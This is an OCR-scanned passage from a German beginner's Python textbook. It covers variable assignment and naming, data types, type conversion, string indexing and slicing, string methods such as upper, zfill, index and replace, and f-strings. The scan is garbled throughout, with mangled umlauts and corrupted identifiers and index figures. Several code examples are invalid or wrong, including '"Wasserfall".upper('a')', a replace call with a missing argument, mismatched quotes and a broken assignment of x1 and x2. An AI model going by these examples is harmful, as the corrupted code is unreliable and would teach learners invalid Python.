zuweisen, indem du sie mit Kommata getrennt hintereinander notierst. Die
folgende Code-Schablone zeigt, wie es geht:

<Variable 1>, ..., <Variable n> = <Wert 1>, ..., <Wert n>

Code-Schablone 4.1.2: Mehrere Variablen in einer Zeile zuweisen

Beispiel 4.1.4: Wir wollen die Variablenzuweisungen x=2, y=1 und z=3 in

einer Zeile vornehmen. Dazu notieren wir alle Variablennamen auf der
linken Seite und alle Werte in der richtigen Reihenfolge auf der rechten
Seite des Gleichheitszeichens:

X,y,z = 2,1,3

Auf beiden Seiten muss dieselbe Anzahl an Elementen stehen. Ansonsten
erhaltst du eine ValueError Exception wie diese hier:

ValueError: not enough values to unpack (expected 3, got 2)

Mit diesem Wissen kannst du den Prozess des Variablentauschs aus
Beispiel 4.1.3 stark vereinfachen.


https://florian-dalwigk.com/python-einsteiger/variablen_tauschen

Beispiel 4.1.5: Gegeben seien die beiden Variablen vorname und

nachname:
1 vorname = "Huber"
2 nachname = "Stefan"

Bei der Zuweisung ist ein Fehler passiert, da ,,Stefan Huber” mit Vornamen
,Stefan” und nicht ,Huber” heifst. Um die beiden Variablen zu tauschen,
gehen wir diesmal nicht den Umweg Uber die tmp-Variable, sondern
nutzen die Maoglichkeit, mehrere Variablen auf einmal in einer Zeile
zuweisen zu konnen. Dazu schreiben wir auf die linke Seite des
Gleichheitszeichens die beiden Variablen in der richtigen Reihenfolge, also
erst vorname und dann nachname. Auf der rechten Seite notieren wir
dann wieder die beiden Variablen, allerdings in umgekehrter Reihenfolge.
Dadurch werden die beiden darin gespeicherten Werte getauscht:

3 vorname, nachname = nachname, vorname

Wenn du dir die Werte nun ausgibst, siehst du, dass alles wunderbar
funktioniert hat:

4 print (f"Hallo {vorname} {nachname}!")
# Hallo Stefan Huber!

Ubrigens: Bei der Benennung von Variablen hast du in Python zwar sehr
viele Freiheiten, doch es gibt auch hier Regeln, an die du dich halten musst:

= Am Anfang eines Variablennamens steht entweder ein Buchstabe oder
ein Unterstrich. Dahinter kannst du eine beliebige Kombination von
Buchstaben, Zahlen und Unterstrichen anhangen.

m Es dirfen ausschlielllich Buchstaben, Zahlen und Unterstriche in
Variablennamen verwendet werden. Sonderzeichen sind nicht erlaubt.
Dazu zahlt auch das Leerzeichen.

= Keywords dlrfen nicht als Variablenname verwendet werden. In
Python 3.10 gibt es die folgenden Keywords:['False',

'"None', 'True', 'and', 'as', 'assert', 'async',



'await', 'break', 'class', 'continue', 'def',

'del', 'elif', 'else', 'except', 'finally',
'for', 'from', 'global', 'if', 'import', 'in',
'is', 'lambda', 'nonlocal', 'not', 'or', 'pass',
'raise', 'return', 'try', 'while', 'with',
'yield']

Beispiel 4.1.6: Die folgenden Variablennamen sind in Ordnung:

deine erste Variable
Jokerl510

_tmpl

i

abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012 3456789

Bei diesen Variablennamen gibt es Probleme:

Auto haus

# Hier ist ein Leerzeichen im Namen enthalten.

42 antworten
# Die Variable beginnt mit einer Zahl.

hallo-welt
# In der Mitte der Variable befindet sich ein Sonderzeichen.
def

# Hierbei handelt es sich um ein Python-Keyword.
in

# Hierbei handelt es sich um ein Python-Keyword.

Unter Programmierern gibt es weitere Konventionen, an die man sich beim
Benennen von Variablen halten sollte, wie etwa, dass Variablennamen auf
Englisch zu verfassen sind. Darum kannst du dich aber kimmern, wenn es
so weit ist. In diesem Lehrbuch sollst du erstmal die Grundlagen
kennenlernen und verstehen. Beachte, dass bei der Variablenbenennung
die GroR- und Kleinschreibung eine wichtige Rolle spielt.

Beispiel 4.1.7: Die beiden Variablennamen Haus und haus sind



verschieden, weil einmal ein Grol3- und ein Kleinbuchstabe verwendet
wurde. Das gilt nicht nur am Anfang, sondern auch innerhalb eines Va-
riablennamens wie bspw. bei dein Name und dein name.

Wie bereits erwahnt, muss bei der Definition von Variablen kein Datentyp
mitgegeben werden. In Java ware es erforderlich, vor den beiden Variablen
aus Beispiel 4.1.1 einen Datentyp zu notieren:

1 String name = "Florian";

2 int alter = 29;

Das heil3t allerdings nicht, dass es in Python keine Datentypen gibt. Die gibt
es sehr wohl!

4.2 Datentypen

Im Mathematikunterricht lernt man friher oder spater verschiedene
Zahlentypen kennen. Da gibt es bspw. die natirlichen Zahlen N, die ganzen
Zahlen Z, die rationalen Zahlen Q und die reellen Zahlen R. Im Studium
lernt man dann noch die komplexen Zahlen C kennen. Diesem Vorbild
folgend gibt es auch in Programmiersprachen verschiedene Datentypen,
die eine Variable haben kénnen. Das hat unter anderem den Hintergrund,
dass man mit Zahlen bspw. nicht dasselbe wie mit Zeichenketten machen
kann. In Tabelle 4.2.1 werden vier wichtige Datentypen aufgefiihrt, die
man in Python verwenden kann:

Datentyp Name in Python Bedeutung Beispiele
Integer int Ganzzahlen -5, -2, 0, 7, 42
Float float FlieBkommazahlen |-1.25, -1.0, 0.0, 3.1415926
String str Zeichenketten "Flo", "abcl23"™, "N", "0.5",
'Flo', 'abcl23', 'N', '0.5'
Boolean bool Wahrheitswerte True, False

Tabelle 4.2.1: Wichtige Datentypen in Python



Integer sind dir im Mathematikunterricht bereits in Form der
Zahlenmenge Z begegnet. Hierbei handelt es sich einfach um die positiven
und negativen ganzen Zahlen ochne Komma. Auch die reellen Zahlen R sind
in Python vertreten, namlich in Form des Datentyps Float. Darin werden

Kommazahlen gespeichert. Achte aber darauf, dass bei der Definition eines
Floats keine Kommata, sondern Punkte verwendet werden, also 3.14

statt 3, 14.

Hinter Strings verbergen sich Zeichenketten, also Worter, Satze, ganze
Texte oder auch einzelne Buchstaben. Du erkennst Strings an den
doppelten Anfiihrungszeichen ", die am Anfang und am Ende stehen. Die
Verwendung von einfachen Anflihrungszeichen ' ist ebenfalls moglich, um
einen String zu definieren. Du darfst diese beiden Zeichentypen
allerdings nicht mischen, d. h., so etwas wie "F1o"' oder 'abc123" fihrt
zu einem Fehler. Schreibt man zwischen die einfachen oder doppelten
Anfihrungszeichen keinen Text, dann spricht man von dem sogenannten
leeren String: "" und '' sind demnach leere Strings. Aus Kapitel
3.2 kennst du bereits die drei Anfuhrungszeichen """. Wenn du sie
verwendest, um einen St ring zu definieren, dann kannst du damit Texte,

die tGber mehrere Zeilen verlaufen, komfortabel speichern. Dabei bleiben
alle Leerzeichen, Zeilenumbriiche etc. erhalten:

text = """Lieber Leser,
ich hoffe, dass dir das Buch bisher gefallt!

Viele GriBe

Florian"""

Der Datentyp Boolean besitzt nur zwei verschiedene Werte, namlich
True (wahr) und False (falsch). Damit werden sogenannte
Wahrheitswerte beschrieben, die in der Aussagenlogik gebraucht werden.
Immer dann, wenn eine Abzweigung innerhalb eines Programms
genommen werden muss (Kapitel 9.1) oder Uberprift werden soll, ob die
Abbruchbedingung einer Schleife eintritt (Kapitel 9.4), sind Booleans

stets zur Stelle. Sie entstehen bei der Verwendung von



Vergleichsoperatoren (Kapitel 5.4) und sie konnen mit logischen
Operatoren verknlpft werden (Kapitel 5.5).

Um herauszufinden, welchen Datentyp eine Variable hat, kannst du die
Funktion t ype verwenden:

Beispiel 4.2.1: Gegeben seien die folgenden Variablen:

1 name = "Jim"
2 alter = 29
3 BMI = 21.5
4 ledig = True

Mithilfe der Funktion t ype kann der Datentyp bestimmt werden:

5 type (name)
# Ergebnis: <class 'str'>, also String.

6 type(alter)
# Ergebnis: <class 'int'>, also Integer.

7 type (BMI)
# Ergebnis: <class 'float'>, also Float.

8 type (lediq)
# Ergebnis: <class 'bool'>, also Boolean.

Man muss bei der Funktion type nicht unbedingt eine Variable in die
runden Klammern schreiben, da es sich hierbei letzten Endes auch nur um
Speicher fir konkrete Werte handelt. Du kannst diese Werte deshalb auch
direkt Gbergeben.

Beispiel 4.2.2:

1 type("Jim")

# Ergebnis: <class 'str'>, also String.
2 type(29)

# Ergebnis: <class 'int'>, also Integer.

3 type(21.5)
# Ergebnis: <class 'float'>, also Float.

4 type (True)



# Ergebnis: <class 'bool'>, also Boolean.

Uber einen speziellen Datentyp miissen wir uns zum Schluss aber noch
kurz unterhalten, namlich None. Dieser spielt vor allem im Kontext von
Funktionen (Kapitel 6) und der objektorientierten Programmierung
(Kapitel 13) eine wichtige Rolle. Eine Funktion bzw. eine Methode besitzt
immer einen Rickgabetyp und wenn der Programmierer von sich aus
nichts zurlickgibt, dann wird eben ein leeres Objekt vom Typ None

zurtickgegeben.

4.3 Umwandlung von Datentypen

Es ist moglich, Datentypen ineinander umzuwandeln. Dafiir gibt es die
Funktionen int, float, str und bool. In runden Klammern wird dann
eingetragen, welcher Wert in den jeweiligen Datentyp umgewandelt
werden soll. In Tabelle 4.3.1 siehst du, welche Werte man in Python wie
umwandeln kann und was als Ergebnis herauskommt:

Datentyp Wert Umwandlung in Ergebnis
Integer 42 float (42) 42.0
str(42) "42n

bool (42) True

Float 1.3 int (1.3) 1
str(l.3) "1.3"

bool (1.3) True

String "1.5" int ("1.5") Fehlermeldung!
float ("1.5") 1.5

bool ("1.5") True

"42m int ("42") 42

float ("42") 42.0

bool ("42") True

"Hallo!™" int ("Hallo!"™) Fehlermeldung!



float ("Hallo!") Fehlermeldung!

bool ("Hallo!"™) True

Boolean True int (True) 1
float (True) 1.0

str(True) "True"

False int (False) 0

float (False) 0.0

str (False) "False"

Tabelle 4.3.1: Umwandlung von Datentypen

Lass uns kurz dartber sprechen, wie diese Ergebnisse zustande kommen:

= Tnteger lassen sich ohne Probleme in Floats, Strings und

Booleans umwandeln. Da es sich bei Floats um FlieBkommazahlen
handelt, wird der Integer hier in eine Kommazahl mit dem
Nachkommateil 0 Ubersetzt. Fur die String-Darstellung wird der
Integer unverandert als Text ibernommen. Bei Booleans ist zu
beachten, dass bei der Umwandlung aller Zahlen, auBer der O, stets
True herauskommt. Nur die Umwandlung bool (0) ergibt False.

Floats lassen sich ohne Probleme in Integer, Strings und
Booleans umwandeln. Bei Integern wird, da es sich um
Ganzzahlen handelt, einfach der Nachkommateil entfernt und nur der
Vorkommateil gespeichert. Fir die String-Darstellung wird der
Float unverandert als Text Ubernommen. Bei Booleans ist zu
beachten, dass bei der Umwandlung aller Zahlen, auRer der 0. 0, stets
True herauskommt. Nur die Umwandlung bool (0.0) ergibt False.
Bei der Umwandlung von Strings in andere Datentypen ist Vorsicht
geboten! Wenn man die String-Darstellung eines Floats in einen
Integer umwandeln mochte (Zeile 7), dann kommt es zu einer
Fehlermeldung. Es wird dann nicht einfach nur der Vorkommateil
gespeichert. Bei der Umwandlung in einen Float (Zeile 8) kommt es

zu keinem Problem, da in dem String ja eine glltige Darstellung eines
Floats enthalten ist. Umgekehrt gilt dies aber nicht. Der Integer



im Stringin Zeile 11 wird in einen F1oat umgewandelt. Texte wie in
Zeile 13 und 14 konnen logischerweise nicht in Integer oder
Floats umgewandelt werden. Bei Booleans ist zu beachten, dass
bei der Umwandlung aller Strings, auler dem leeren String ''
oder "", stets True herauskommt. Nur die Umwandlung bool ('"')
bzw. bool ("") ergibt False.

= Booleans lassen sich ohne Probleme in Integer, Floats und
Strings umwandeln. Der Wahrheitswert True ergibt als Integer
eine 1, als Float eine 1.0 und als String wird einfach der Wert
True als Text Gbernommen. Der Wahrheitswert False ergibt als
Integer eine 0, als Float eine 0.0 und als String wird einfach
der Wert False als Text Ubernommen.

4.4 String-Operationen

Da Strings einen sehr komplexen Datentyp darstellen, stellt dir Python

eine Vielzahl an Methoden zur Verfiigung, die dir das Arbeiten mit ihnen
erleichtern. Eine Besonderheit in der Informatik und der Programmierung
ist, dass wir bei stets 0 zu zahlen beginnen und nicht bei 1. Das hat

Auswirkungen auf die Ergebnisse der String-Operationen in diesem
Kapitel.

Beispiel 4.4.1: Die folgende Abbildung zeigt, an welchen Positionen sich die
einzelnen Zeichen im String Python befinden:

P vy | £ | h O n

0 1 2 3 4 9

Abbildung 4.4.1: Positionen der Zeichen im String Python

Obwohl der St ring aus sechs Zeichen besteht, ist die Position des letzten



Zeichens (n) 5 und nicht 6. Das liegt daran, dass sich das erste Zeichen (P)
an der Position 0 und nicht 1 befindet. Statt ,Position” kann man auch

yIndex” sagen. Die Mehrzahl von ,Index” ist ,Indizes”. Wir werden in
diesem Buch beide Begriffe synonym verwenden.

Wir schauen uns zuerst einmal an, wie man einzelne Bestandteile eines
Strings, sogenannte ,Substrings”, auslesen kann. Daflir verwendest du

eckige Klammern [ ], die du direkt hinter den String schreibst. Was sich

dahinter genau verbirgt, erfahrst du im Detail in Kapitel 8.1. An dieser
Stelle genligt es aber zu wissen, dass du damit Substrings aus einem
String herausschneiden kannst.

Um ein einzelnes Zeichen aus dem String auszulesen, schreibst du
einfach seine Position in die eckigen Klammern.

Beispiel 4.4.2: Gegeben seider String Halloween:

H a 1 1 o) W e e n

0 1 2 3 4 5 9 7 8

Abbildung 4.4.2: Positionen der Zeichen im String Halloween

Wenn du das o in der Mitte des Strings auslesen mochtest, dann
notierst du direkt dahinter die eckigen Klammern [] und schreibst dort
den Index 4 rein:

"Halloween" [4]

Das Ergebnis kannst du mit dem = einer Variable zuweisen, um es zu
speichern:

o = "Halloween"[4]

Du kannst die eckigen Klammern auch auf Variablen anwenden:

1 text = "Halloween"

2



text[4]

Wenn du ein anderes Zeichen wie bspw. das a auslesen mdchtest, dann
verwendest du eben den Index 1:

a = "Halloween"[1]

Achte darauf, dass du nur Positionen adressierst, die auch wirklich in dem
String vorkommen. Ansonsten kommt es zu einem Fehler.

Beispiel 4.4.3: Wir betrachten wieder den String Halloween. Um
einzelne Zeichen auszulesen, musst du in die eckigen Klammern [] eine
der Zahlen O bis 8 schreiben, da alles Uber dem Index 8 auRerhalb des
Strings liegt. Der Zugriff

"Halloween" [9]

flhrt zu der folgenden Fehlermeldung:

IndexError: string index out of range

Man kann aber auch negative Zahlen als Indizes verwenden. Was passiert
dann? Nun, dann wird ganz hinten bei der héchsten Position angefangen
und nach vorne durchgezahlt.

Beispiel 4.4.4: Gegeben seider String Schlangen:

5 C h 1 a n g e n

0 1 2 3 4 5 6 7 8

Abbildung 4.4.3: Indizes der Zeichen im String Schlangen

Erlaubt sind nicht nur die Indizes 0 bis 8 zur Adressierung der Zeichen,
sondern auch von 0 bis —8. Die folgende Abbildung zeigt, wie die Indizes in
diesem Fall zu lesen sind:




Abbildung 4.4.4: Negative Indizes der Zeichen im String Schlangen

Wenn du also das Zeichen h auslesen mochtest, dann geht das auf zwei
verschiedene Arten:

1 "Schlangen" [2]
2 "Schlangen"[-7]

Neben einzelnen Zeichen ist es auch moglich, zusammenhangende Teile
eines Strings mithilfe der eckigen Klammern [] auszuschneiden. Dies
bezeichnet man auch als ,Slicing”. Dazu gibst du zwei Indizes an, namlich
einen, bei dem der String startet (Startindex) und einen, vor dem er

endet (Endindex). Moment, ,vor”“ dem er endet? Richtig gelesen! Das
Zeichen am Endindex wird nicht mitberlcksichtigt. Die beiden Indizes
werden innerhalb der eckigen Klammern [] mit einem Doppelpunkt

getrennt: [start:ende]

Beispiel 4.4.5: Gegeben sei der String Programmieren:

Abbildung 4.4.5: Positionen der Zeichen im String Programmieren

Wir wollen den Substring gramm aus dem String
Programmieren ausschneiden. Der Startindex ist die 3. Der Endindex ist
die 8 und nicht die 7, weil das Zeichen am Endindex nicht mitzahlt:

"Programmieren" [3:8]

Das Ergebnis kannst du in einer Variable speichern:



substring = "Programmieren" [3:8]

Dieses Ausschneiden funktioniert selbstverstandlich auch fir Variablen:

1 text = "Programmieren"

2 text[3:8]

Wenn du nur an dem Substring Programm interessiert bist, dann ist
der Startindex O und der Endindex wieder die 8:

"Programmieren" [0:8]

Ein Startindex mit dem Wert 0 muss Python Ubrigens nicht explizit mit
angegeben und kann demnach weggelassen werden:

"Programmieren" [:8]

Es ist aber nicht falsch, wenn du den Startindex O doch hinschreibst. Das
Gleiche gilt Gibrigens fir den Endindex. Wenn der Endindex am Ende des
Strings liegt, kann er weggelassen werden. Wenn du also den gesamten
String Programmieren mit den eckigen Klammern [] als
Substring verwenden mochtest, dann kannst du das auf zwei
verschiedene Arten erreichen:°

1 "Programmieren" [0:13]

2 "Programmieren"[:]

An der Variante aus Zeile 1 ist besonders interessant, dass als Endindex die
13 angegeben wird, obwohl sie tGber dem hochsten Index (12) liegt. Wir
mussen diesen Index aber so wahlen, damit auch das letzte Zeichen
mitgenommen wird. Python liefert in Fallen, bei denen mit dem
Doppelpunkt in den eckigen Klammern gearbeitet wird, keine
Fehlermeldung beim Uberschreiten der beiden Indexgrenzen. Du kannst
also auch 14, 18 oder 1337 als Endindex in die eckigen Klammern
eintragen. Python nimmt dann einfach den gesamten String ab dem
Startindex.



Wenn du dir die Funktionsweise der eckigen Klammern noch einmal in
animierter Form anschauen mochtest, dann scanne den folgenden QR-
Code:

https://florian-dalwigk.com/python-einsteiger/slicing

Um einen Zeilenumbruch bei der Ausgabe eines Strings zu erzeugen,
verwendet man \n. Das n steht fir newline (,neue Zeile“) und der
Backslash \ ist ein sogenanntes Maskierungszeichen.

Beispiel 4.4.6: Die Anweisung

print ("Hallo\nPython!")

liefert

Hallo
Python!

als Ausgabe. Beachte, dass direkt hinter dem \n weitergeschrieben wird,
um ein zusatzliches Leerzeichen in den String bzw. die Ausgabe
einzubauen.

Das bereits erwahnte Maskierungszeichen \ kann auch dazu eingesetzt
werden, um Zeichen in einem String zu verwenden, die sonst zu
Syntaxfehlern fiihren wirden.


https://florian-dalwigk.com/python-einsteiger/slicing

Beispiel 4.4.7: Gegeben sei der String

"Die Variable abc ist nicht aussagekraftig."

Wenn du den Substring abc innerhalb des Strings Anfihrungszeichen

setzen mochtest, dann hast du dafir zwei Moglichkeiten. Du kdnntest z. B.
einfache Anflihrungszeichen verwenden:

"Die Variable 'abc' ist nicht aussagekraftig."

Das wiirde zu keinem Problem fiihren. Verwendest du hingegen die
doppelten Anflihrungszeichen, wird Python das mit einer Fehlermeldung
bestrafen:

"Die Variable "abc" ist nicht aussagekraftig."

Dann hast du plotzlich zwei Strings, namlich Die Variable und
ist nicht aussagekrdftig. Dazwischen befindet sich jetzt ein
freischwebendes abc, mit dem Python nichts anfangen kann. Um

klarzumachen, dass du mit den doppelten Anflihrungszeichen hier nicht
den Anfang oder das Ende eines Strings ankindigen mochtest, kannst

du das Maskierungszeichen \ verwenden:

"Die Variable \"abc\" ist nicht aussagekraftig."

Du konntest auch den gesamten String mit einfachen

Anflihrungszeichen definieren und brauchtest dann das
Maskierungszeichen nicht mehr:

'Die Variable "abc" ist nicht aussagekraftig.'

Ich wirde dir aber raten, einmal festzulegen, ob du Strings mit
einfachen oder doppelten Anfiihrungszeichen kennzeichnen méchtest, da
du sonst irgendwann selbst nicht mehr durchblickst. Ich personlich
verwende bei mindestens zwei Zeichen immer doppelte und ansonsten
einfache Anflihrungszeichen:



"ITch bin eine Nachricht."

’w’

Um die Lange eines Strings zu ermitteln, kannst du die Funktion len
verwenden. Der String wird in die runden Klammern geschrieben, die
direkt hinter dem Funktionsnamen len stehen.

Beispiel 4.4.8: Gesucht ist die Lange des Strings Wasserfall. Dazu
rufen wir die Funktion 1en auf und Ubergeben ihr in runden Klammern
den String, von dem wir die Lange wissen wollen:

print (len ("Wasserfall"))
# Die Ausgabe ist 10, weil das Wort "Wasserfall" 10 Zeichen hat.

Die doppelten Anfiihrungszeichen werden nicht mitgezahlt, weil sie
schliellich nur den String einleiten. Das Ergebnis kannst du einer
Variable zuweisen:

lange = len ("Wasserfall")

Die Funktion len kann auch fir Variablen vom Datentyp String
verwendet werden.

Beispiel 4.4.9: Gegeben sei die folgende St ring-Variable:

1 text = "Wasserfall"

Um die Lange des Strings zu bestimmen, tUbergeben wir der Funktion
len die Variable text, inderder String Wasserfall gespeichert ist:

2 print(len (text))
# Die Ausgabe ist 10, weil das in der Variable "text"
gespeicherte Wort "Wasserfall" 10 Zeichen hat.

Die Lange des Variablennamens spielt dabei keine Rolle, d. h., es kommt
nicht plotzlich 4 heraus, nur weil der Variablenname text vier

Zeichen hat.



Beispiel 4.4.10: Wir wollen von dem String Hallo Python! die
Lange bestimmen. Dazu rufen wir die Funktion 1en auf und Gibergeben ihr
in runden Klammern den String, von dem wir die Lange wissen wollen:

print (len ("Hallo Python!"))
# Das Ergebnis ist 13, weil "Hallo Python!" 13 Zeichen hat.

Beachte, dass die Funktion len alles vom ersten " bis zum letzten "
mitzahlt, also auch Leer- und Satzzeichen.

Bei den folgenden String-Operationen wird von Methoden gesprochen,
die du eigentlich erst in Kapitel 13.5 kennenlernst. Das soll dich aber nicht
weiter stéren, denn im Prinzip handelt es sich dabei einfach nur um
Funktionen, die auf Objekten aufgerufen werden. Fir jetzt kannst du dir
vereinfacht vorstellen, dass Methoden Funktionen sind, die auf einem
String aufgerufen werden, denn bei Strings handelt es sich im
Kontext der objektorientierten Programmierung um Objekte. Direkt hinter
dem String oder einer Variable, die den Datentyp St ring hat, wird ein
Punkt notiert und dann der Name der Methode genannt. Daran schliel$en
runde Klammern an, in die man sogenannte Parameter schreiben kann.
Das sind einfach Werte, die in der Methode verarbeitet werden. Allerdings
brauchen nicht alle Methoden Parameter. Okay, es wird Zeit fir ein paar
Beispiele.

Wenn du alle Zeichen eines Strings in GroRBbuchstaben umwandeln
willst, dann kannst du die Methode upper verwenden.

Beispiel 4.4.11:
1 text = "Hallo Python!"
2 grossbuchstaben = text.upper ()

Das Ergebnis kannst du anschlieffend ausgeben:

3 print (grossbuchstaben)
# Ausgabe: "HALLO PYTHON!"

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:



print ("Hallo Python!".upper ())
# Ausgabe: "HALLO PYTHON!"

Wenn du alle Zeichen eines Strings in Kleinbuchstaben umwandeln
willst, dann kannst du die Methode 1 ower verwenden.

Beispiel 4.4.12:
1 text = "Hallo Python!"
2 kleinbuchstaben = text.lower ()

Das Ergebnis kannst du anschliefSend ausgeben:

3 print (kleinbuchstaben) # Ausgabe: "hallo python!"

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

print ("Hallo Python!".lower ())
# Ausgabe "hallo python!"

Wenn du uUberprifen willst, ob ein String nur aus GroRbuchstaben
besteht, kannst du die Methode isupper verwenden. Diese liefert als
Ergebnis True, wenn alle Buchstaben in einem String Grollbuchstaben
sind und ansonsten False.

Beispiel 4.4.13:

1 text = "Hallo Python!"

2 print (text.isupper())
# Die Ausgabe ist False, weil nicht alle Buchstaben groB sind.

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

"Hallo Python!".isupper ()

Wenn du uberprifen willst, ob ein String nur aus Kleinbuchstaben
besteht, kannst du die Methode islower verwenden. Diese liefert als



Ergebnis True, wenn alle Buchstaben in einem String Kleinbuchstaben
sind und ansonsten False.

Beispiel 4.4.14:

1 text = "Hallo Python!"
2 text.islower ()

3 # Das Ergebnis ist False, weil nicht alle Buchstaben klein
sind.

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

"Hallo Python!".islower ()

Wenn du Leerzeichen und Zeilenumbriiche am Anfang und am Ende eines
Strings entfernen mochtest, dann kannst du die Methode strip
verwenden. Diese wird haufig beim Einlesen von Zeilen aus einer Textdatei
bendtigt (Kapitel 10.2).

Beispiel 4.4.15:
1 text = " Hallo Python! "
2 ergebnis = text.strip/()

Das Ergebnis kannst du anschlieRend ausgeben:

3 print (ergebnis)
# Die Ausgabe ist "Hallo Python!".

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

" Hallo Python! ".strip()

Mit der Methode zfill kann ein String mit fihrenden Nullen
aufgefillt werden. In den runden Klammern wird eine Zahl geschrieben,
die angibt, wie lang der String zusammen mit den Nullen sein soll.
Wofiir braucht man das? Nun, um z. B. flir einen IBAN-Generator, wie du
ihn in Kapitel 12.10 programmieren wirst, die Kontonummern mit



fihrenden Nullen aufzufullen.

Beispiel 4.4.16:

1 text = "Python"
2 ergebnis = text.zfill (10)

Das Ergebnis kannst du anschlieRend ausgeben:

3 print (ergebnis)
# Die Ausgabe lautet "0000Python", da der String mit den
Nullen insgesamt 10 Stellen lang sein soll.

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

"Python!".z£fil1l (10)

Beispiel 4.4.17:

1 text = "'

2 print(text.zfill(3))
# Die Ausgabe lautet "000", da der String mit den Nullen
insgesamt 3 Stellen lang sein soll.

Wenn du der Methode zfill eine Zahl Ubergibst, die kleiner als die
Lange des Strings ist, passiert einfach gar nichts, d. h., Python liefert
keine Fehlermeldung.

Beispiel 4.4.18:

1 text = "Python"

2 print(text.zfill(3))
# Die Ausgabe lautet nach wie vor "Python", da der String
"Python" langer als die Zahl 3 ist.

Wenn du in Erfahrung bringen moéchtest, an welcher Position (Index) in
einem String ein bestimmtes Zeichen erstmals auftaucht, kannst du die
Methode index verwenden. In die runden Klammern der Methode



schreibst du dann den Buchstaben, von dem du die Position wissen
mochtest.

Beispiel 4.4.19:

1 text = "Wasserfall"

2 print (text.index('a'))
# Die Ausgabe lautet 1. Es wird bei 0 zu za&hlen begonnen.

"Wasserfall".index('a'")

W a S S e r f a 1 1

0 1 2 3 4 5 6 7 8 9

t

Abbildung 4.4.6: Position des Buchstabens a im String Wasserfall

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

"Wasserfall".upper('a')
Beispiel 4.4.20:
1 text = "Hallo Python!"

2 print(text.index('y'))
# Die Ausgabe lautet 7. Es wird bei 0 zu zadhlen begonnen.

"Hallo Python!".index ('y"')

Hla|l]1l]|o Ply|lt|h|lo|n]|!

0 1 2 3 4 5 6 7 8 9 10 11 12

t

Abbildung 4.4.7: Position des Buchstabens y im String Hallo Python!

Wenn nach der Position eines Buchstabens gesucht wird, der nicht in dem
String auftaucht, dann liefert Python eine Fehlermeldung.




Beispiel 4.4.21:

1 text = "Hallo Python!"

2 text.index('c')

Da der Buchstabe c nicht in Hallo Python! auftaucht, erhdlt man die
folgende Fehlermeldung:

ValueError: substring not found

Zum Schluss schauen wir uns noch eine Methode an, mit der bestimmte
Zeichen in einem String durch andere ersetzt werden konnen. Diese

Methode heildit replace und in die runden Klammern werden, mit einem
Komma getrennt, zwei Strings eingetragen. Der erste String gibt an,

welches Zeichen ersetzt werden soll und der zweite, durch welches Zeichen
alle Vorkommen des ersten Zeichens ersetzt werden sollen.

Beispiel 4.4.22:

1 text = "Diebe"

2 ergebnis = text.replace('D', 'L'")
Das Ergebnis kannst du anschlieffend ausgeben:
3 print (ergebnis)

Du kannst die Methode auch direkt auf einer Zeichenkette aufrufen:

"Diebe!".replace('L")
Beispiel 4.4.23:
1 text = "Hallo Python!"

2 print (text.replace('o’, '0'"))
# Die Ausgabe lautet "HallO PythOn!". Es werden alle Vorkommen
des Buchstabens o durch eine 0 ersetzt.



Wenn der Buchstabe, den es zu ersetzen gilt, nicht im String auftaucht,
dann bleibt der St ring unverandert. Es gibt keine Fehlermeldung.

Beispiel 4.4.24:

1 text = "Hallo Python!"

2 print (text.replace('p’, 'C’))
# Die Ausgabe lautet "Hallo Python!". Es erfolgt keine
Anderung, weil ein kleines 'p' nicht in "Hallo Python!"
auftaucht.

Du bist bei der Methode replace nicht nur auf jeweils ein Zeichen
beschrankt, sondern kannst auch Substrings ersetzen.

Beispiel 4.4.25:

1 text = "Hallo Python!"

2 print (text.replace ("Python”, "Maximilian”))
# Die Ausgabe lautet "Hallo Maximilian!". Das Wort "Python"
wird durch das Wort "Maximilian" ersetzt.

Mithilfe von replace kannst du auch Zeichen aus einem String
|6schen, indem du als zweiten Parameter den leeren String nutzt.

Beispiel 4.4.26:
1 text = "Hallo Python!"
2 print (text.replace('o’, '’))
# Die Ausgabe ist "Hall Pythn!". Alle Vorkommen des Zeichens
'o' werden durch den leeren String ersetzt und verschwinden
dadurch.

Viele Video-Tutorials und Fachbicher, die sich an Einsteiger richten,
erklaren einem, dass man in einer print-Ausgabe Variablen und Texte mit

einem + zusammensetzen soll. Das ist grundsatzlich auch nicht falsch, doch
es gibt daflir eine weitaus schonere Losung, die dich nicht gleich als
Anfanger outet: formatierte Strings. Dazu wird vor dem Anfang der

Zeichenkette ein £ notiert. In geschweiften Klammern {} folgen dann die



Variablennamen an den Stellen, an denen man sie spater haben mochte.

Beispiel 4.4.27: Das Hallo-Python-Programm aus Kapitel 3.2 soll so
umgeschrieben werden, dass statt des Strings Python ein beliebiger

Name in Form einer Variable eingetragen wird. Dazu wird zuerst eine
Variable name definiert, die den gewinschten Namen als String

zugewiesen bekommt:

1 name = "Florian"

Anschliefend wird die print-Funktion aufgerufen und ein formatierter
String Uubergeben. Dieser wird mit einem f vor dem ersten
Anflihrungszeichen eingeleitet. Die Variable name wird an der passenden
Stelle in geschweiften Klammern notiert:

2 print(f"Hallo {name}!")

Die Ausgabe lautet dann:

Hallo Florian!

Man kann auch mehrere Variablen in einem formatierten String
notieren.

Beispiel 4.4.28: Gegeben seien die beiden folgenden Variablen, in denen
die Losungen fir die quadratische Gleichung x* + 2x — 8 = 0 gespeichert
sind:

1 x1 2

-4

2 x2

Diese werden nun durch die print-Funktion zusammen mit der
quadratischen Gleichung ausgegeben:

3 print (f"Die Losungen von x"2+2x-8=0 sind\nxl={x1} und\nx2=
{x21}1")



Die Ausgabe lautet dann:

Die L&ésungen von x72+2x-8=0 sind
x1=2 und
xX2=-

Die beiden \n bewirken die Zeilenumbriiche. Beachte, dass nur die

Variablennamen in geschweiften Klammern durch die entsprechenden
Werte ersetzt werden. Da x1 und x2 direkt hinter den beiden

Zeilenumbriichen \n nicht von geschweiften Klammern umgeben sind,
werden sie von Python nicht als Variablennamen interpretiert.

Formatierte Strings haben den Vorteil, dass bei der Zusammensetzung
der einzelnen Bestandteile einer Zeichenkette die Gefahr fir Syntaxfehler
geringer ist, wohingegen Konstrukte wie

print ("Die Losungen von x"2+2x-8=0 sind\nxl="+x1+" und\nx2="+x2)

